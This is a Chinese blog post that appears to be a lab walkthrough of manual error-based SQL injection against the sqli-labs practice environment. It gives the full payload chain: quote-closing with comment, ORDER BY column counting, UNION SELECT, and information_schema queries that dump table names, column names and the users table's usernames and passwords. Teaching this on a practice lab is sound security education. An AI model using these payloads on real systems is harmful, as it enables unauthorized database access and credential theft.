基于报错的手工注入

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接: https://blog.csdn.net/qq_23066945/article/details/102771727

基于报错的手工注入

实验环境:sqlli
1.首先提示,请输入ID作为参数和数值
在这里插入图片描述
2.构建id参数后,返回正常
在这里插入图片描述
3.输入转义符 \ ,得到报错信息 “1”) LIMIT 0,1 (图片上引号内的为报错信息,所以这里去掉两个引号)
在这里插入图片描述
由此,我们可以得到大概的SQL语句为

select * from users where id=("1") limit 0,1

尝试闭合单引号,并注释之后的内容,输入1") --+

select * from users where id=("  1") --+ ") limit 0,1

在这里插入图片描述
可以看到返回正常页面

4.在闭合后,输入order by 5 判断有几个字段,判断成功则会返回正常页面
在这里插入图片描述
5个字段报错,输入4,输入3 尝试
在这里插入图片描述
再输入order by 3 的时候,页面返回正常,说明有有三个字段
在这里插入图片描述
5.接下来使用union联合查询,查看哪些位置可以利用
首先将参数报错,id改为-1
其次构建语句 union select 1,2,3 (之前检测出3个字段)
在这里插入图片描述
返回2,3 说明2和3可以返回我们想要的值。
把2替换为database() 查看当前数据库,显示成功
在这里插入图片描述
6,接下来爆数据
首先是查找表名
输入

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ 

链接表,显示表名,从mysql数据库总表中,筛选条件 表名等于当前数据库名
显示出当前数据库中的所有表
在这里插入图片描述
我们继续读取users表中的信息
输入 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
链接表,显示字段名 ,从mysql总表中,赛选出表名等于 users 的数据
在这里插入图片描述
接下来获取字段值,username和password的值
输入 union select 1,group_concat(username,0x3a,passowrd),3 from users --+
链接表 从用户表中读取数据,显示用户名密码用冒号进行分割
在这里插入图片描述
最后就得到了我们想要的信息。

结束。

在这里插入图片描述有什么问题希望各位大表哥指出。

猜你喜欢

转载自blog.csdn.net/qq_23066945/article/details/102771727